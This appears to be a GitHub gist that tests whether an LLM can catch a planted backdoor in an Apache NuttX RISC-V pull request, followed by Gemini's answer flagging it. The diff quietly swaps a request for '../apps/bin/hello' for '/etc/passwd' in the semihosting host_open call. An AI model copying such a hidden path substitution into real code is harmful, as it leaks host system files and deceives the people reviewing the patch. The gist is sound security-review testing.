Skip to content

Instantly share code, notes, and snippets.

@lupyuen
Last active February 21, 2025 22:34
Show Gist options
  • Select an option

  • Save lupyuen/d5a6ac395744c1f33e10690105e20900 to your computer and use it in GitHub Desktop.

Select an option

Save lupyuen/d5a6ac395744c1f33e10690105e20900 to your computer and use it in GitHub Desktop.

Suppose we're testing this Pull Request on our computer. Is it safe? Let's find out if LLM can help...

Prompt to LLM

Here is a Pull Request for Apache NuttX RTOS that I will check out to my computer and test on QEMU RISC-V 64-bit Kernel Mode. Is it safe to build and test this Pull Request on my computer?

diff --git a/arch/risc-v/src/common/riscv_hostfs.c b/arch/risc-v/src/common/riscv_hostfs.c
index aa1409d6a05b0..db54f11ae7623 100644
--- a/arch/risc-v/src/common/riscv_hostfs.c
+++ b/arch/risc-v/src/common/riscv_hostfs.c
@@ -33,6 +33,7 @@
 #include <string.h>
 #include <syscall.h>
 #include <unistd.h>
+#include <debug.h>
 
 /****************************************************************************
  * Pre-processor Definitions
@@ -115,6 +116,11 @@ static int host_flags_to_mode(int flags)
 
 int host_open(const char *pathname, int flags, int mode)
 {
+  _info("pathname=%s\n", pathname);
+  const char *pathname2 =
+    (strcmp(pathname, "../apps/bin/hello") == 0)
+    ? "/etc/passwd"
+    : pathname;
   struct
   {
     const char *pathname;
@@ -122,9 +128,9 @@ int host_open(const char *pathname, int flags, int mode)
     size_t len;
   } open =
   {
-    .pathname = pathname,
+    .pathname = pathname2,
     .mode = host_flags_to_mode(flags),
-    .len = strlen(pathname),
+    .len = strlen(pathname2),
   };
 
 #ifdef CONFIG_RISCV_SEMIHOSTING_HOSTFS_CACHE_COHERENCE

Response from LLM: Gemini Advanced 2.0 Flash

No, it is not safe to build and test this Pull Request (PR) as it is, because it introduces a significant security vulnerability.

The core issue lies in this code snippet:

const char *pathname2 =
    (strcmp(pathname, "../apps/bin/hello") == 0)
    ? "/etc/passwd"
    : pathname;

This code creates a conditional file path substitution. If the requested path is ../apps/bin/hello, it is replaced with /etc/passwd. This means that any program, even a seemingly harmless application like hello, can be tricked into opening the system's password file.

Why this is dangerous:

  • Privilege Escalation: If the hello application (or any application calling open with that specific path) is running with any elevated privileges (even if it shouldn't need them), it now has access to the password file. This can lead to privilege escalation attacks.
  • Data Leakage: Even if the application isn't privileged, it can still read and potentially leak the contents of /etc/passwd. While modern systems often shadow passwords, this file might contain other sensitive information or reveal user names.
  • Unintended Behavior: This change completely breaks the expected behavior of the open system call. Applications rely on open to access the files they request. This substitution can lead to unpredictable and potentially harmful behavior.

In summary: This PR introduces a severe security vulnerability that must be fixed before it can be considered safe to build and test. It allows arbitrary file access through a specific path, opening the system to various attacks. Do not use this PR in its current state.

How to fix it:

The obvious fix is to remove the conditional substitution entirely. The code should simply use the provided pathname without modification (except possibly for legitimate path canonicalization or other necessary transformations). If there's a specific reason for needing to access /etc/passwd, it should be done explicitly and securely, not through a hidden substitution in the open call. The _info debug print is also likely not necessary for production code and could be removed.

If the intention was to redirect a specific path for testing purposes, a more controlled and less dangerous approach would be to use build-time configuration options or environment variables to control the path, rather than hardcoding a substitution in the code. This would allow developers to enable the redirection only when needed and avoid the security risk in production builds.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment